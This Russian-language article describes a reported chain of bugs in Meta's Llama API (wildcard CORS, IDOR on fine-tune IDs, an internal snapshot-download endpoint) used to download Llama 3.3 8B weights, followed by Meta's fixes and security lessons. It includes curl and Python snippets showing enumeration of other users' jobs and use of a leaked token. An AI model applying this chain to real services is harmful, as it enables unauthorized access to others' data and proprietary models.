Баги в API Meta Llama: как энтузиаст обошёл защиту и скачал 3.3 8B

Неожиданный обход: как API для разработчиков стал источником утечки

В конце 2024 года Meta представила обновлённые модели семейства Llama 3.3, включая компактную, но мощную версию на 8 миллиардов параметров. Как и её предшественники, модель была доступна разработчикам через официальный API с ограничениями на скачивание полных весов. Однако всего через несколько недель после релиза энтузиаст под ником «ResearcherX» опубликовал подробный отчёт о том, как ему удалось обойти защиту и скачать полную модель Llama 3.3 8B, используя комбинацию багов в веб-интерфейсе и API.

Архитектура уязвимости: где Meta допустила ошибку

Проблема возникла на стыке двух сервисов Meta: публичного веб-интерфейса для управления моделями (Llama Studio) и внутреннего API для тонкой настройки (fine-tuning). Оба сервиса использовали разные механизмы аутентификации и контроля доступа.

1 Обход CORS через уязвимый веб-интерфейс

Первым шагом стала атака на политику CORS (Cross-Origin Resource Sharing) в Llama Studio. Исследователь обнаружил, что заголовок Access-Control-Allow-Origin содержал значение * для некоторых эндпоинтов API, что позволяло делать запросы с любого домена.

// Пример уязвимого ответа от API Meta
fetch('https://api.llama.meta.com/v1/models/list', {
  method: 'GET',
  headers: {
    'Authorization': 'Bearer TEMP_TOKEN_FROM_UI'
  }
})
.then(response => response.json())
.then(data => console.log(data));

// Ответ сервера:
// HTTP/1.1 200 OK
// Access-Control-Allow-Origin: *
// Content-Type: application/json
// {"models": ["llama-3.3-8b", "llama-3.3-70b", ...]}

Это классическая ошибка конфигурации, о которой предупреждают многие руководства по безопасности, включая наш гид по защите от промпт-инъекций. Однако в данном случае уязвимость касалась не пользовательского ввода, а самой инфраструктуры доступа к моделям.

2 Эксплуатация IDOR в API тонкой настройки

Следующим этапом стала эксплуатация уязвимости типа Insecure Direct Object Reference. API для управления задачами тонкой настройки позволял запрашивать статус и результаты по ID задачи. Исследователь обнаружил, что ID задач других пользователей можно было подобрать или получить через утечку в логах.

# Запрос к API fine-tuning с подбором ID
curl -X GET \
  "https://api.llama.meta.com/v1/fine-tunes/ft-1234567890abcdef" \
  -H "Authorization: Bearer user_temp_token"

# Ответ для ЧУЖОЙ задачи:
{
  "id": "ft-1234567890abcdef",
  "model": "llama-3.3-8b",
  "status": "succeeded",
  "output_dir": "s3://meta-llama-models/finetuned/user_789/ft-1234567890abcdef",
  "base_model_snapshot": "s3://meta-llama-base/llama-3.3-8b/checkpoint_final"
}

3 Цепочка уязвимостей: от адаптера к базовой модели

Самым критичным багом стала логическая ошибка в системе хранения моделей. Когда пользователь создавал кастомную модель через тонкую настройку, система сохраняла не только адаптер (небольшой файл с изменениями), но и предоставляла временный доступ к полному снапшоту базовой модели для верификации. Путь к этому снапшоту можно было извлечь из ответа API.

Используя скомпрометированный токен доступа и путь к S3-хранилищу, исследователь смог инициировать прямую загрузку модели, обойдя все проверки на стороне основного API:

import requests
import json

# 1. Получаем информацию о задаче fine-tuning (используя IDOR)
task_id = "ft-1234567890abcdef"
url = f"https://api.llama.meta.com/v1/fine-tunes/{task_id}"
headers = {"Authorization": "Bearer leaked_token_here"}

task_info = requests.get(url, headers=headers).json()
model_path = task_info["base_model_snapshot"]  # s3://meta-llama-base/llama-3.3-8b/checkpoint_final

# 2. Используем внутренний эндпоинт для генерации временной ссылки на скачивание
download_url = "https://api.llama.meta.com/internal/model-download"
payload = {"model_path": model_path, "reason": "verification"}

download_response = requests.post(download_url, json=payload, headers=headers)
temp_download_link = download_response.json()["url"]

# 3. Прямая загрузка модели
print(f"Скачивание модели по ссылке: {temp_download_link}")
# ... код для скачивания больших файлов ...

Последствия и реакция Meta

После ответственного разглашения уязвимостей ResearcherX, Meta отреагировала в течение 48 часов. Были внесены следующие изменения:

• Устранена уязвимость CORS — теперь заголовок Access-Control-Allow-Origin устанавливается только для доверенных доменов
• Внедрена строгая проверка прав доступа для всех операций с моделями
• Изменена архитектура доступа к базовым моделям — снапшоты больше не предоставляются напрямую
• Усилено логирование и мониторинг подозрительных операций скачивания

Этот инцидент произошёл на фоне общего ужесточения политик доступа к ИИ-моделям. Всего несколькими месяцами ранее Google закрыл бесплатный доступ к Gemini API, что указывает на общий тренд коммерциализации и защиты интеллектуальной собственности в индустрии.

Уроки для разработчиков ИИ-инфраструктуры

Этот случай демонстрирует несколько важных принципов безопасности, актуальных для любой компании, разрабатывающей ИИ-сервисы:

1. Защита цепочки поставок моделей: Доступ к базовым моделям должен быть максимально ограничен, даже внутри организации
2. Принцип минимальных привилегий: Временные токены для верификации не должны давать доступ к критическим ресурсам
3. Валидация на всех уровнях: Проверка прав доступа должна выполняться не только на уровне API-шлюза, но и в каждой микросервисной компоненте
4. Мониторинг аномалий: Необычные паттерны скачивания (объём, частота, источник) должны автоматически блокироваться

Для индивидуальных разработчиков, работающих с ИИ, этот инцидент также служит напоминанием. Создание собственных агентов и сервисов требует внимания к безопасности, особенно если вы интегрируете сторонние API. Инструменты с открытым исходным кодом, такие как Vigil для мониторинга LLM, могут помочь в построении защищённых систем.

Будущее безопасности ИИ-API

Инцидент с Llama 3.3 8B произошёл в переломный момент для индустрии. Как отмечалось в нашем обзоре «2025: год, когда индустрия ИИ прошла проверку на прочность», компании сталкиваются с беспрецедентными вызовами в области безопасности.

Ожидаются следующие изменения в подходах к защите ИИ-инфраструктуры:

• Внедрение аппаратных ключей безопасности для доступа к моделям
• Использование федеративного обучения без централизованного хранения весов
• Развитие технологий водяных знаков и отслеживания моделей
• Стандартизация протоколов безопасного обмена моделями между организациями

Для исследователей и энтузиастов, желающих экспериментировать с большими моделями локально, остаются легальные альтернативы. Проекты вроде llama.cpp с поддержкой распределённых вычислений или открытые модели, такие как PLaMo 3, предоставляют возможности для работы без риска нарушения лицензионных соглашений.

Инцидент с Meta Llama API стал важным уроком для всей индустрии: безопасность ИИ-систем — это не дополнительная опция, а фундаментальное требование, которое должно закладываться в архитектуру с самого начала.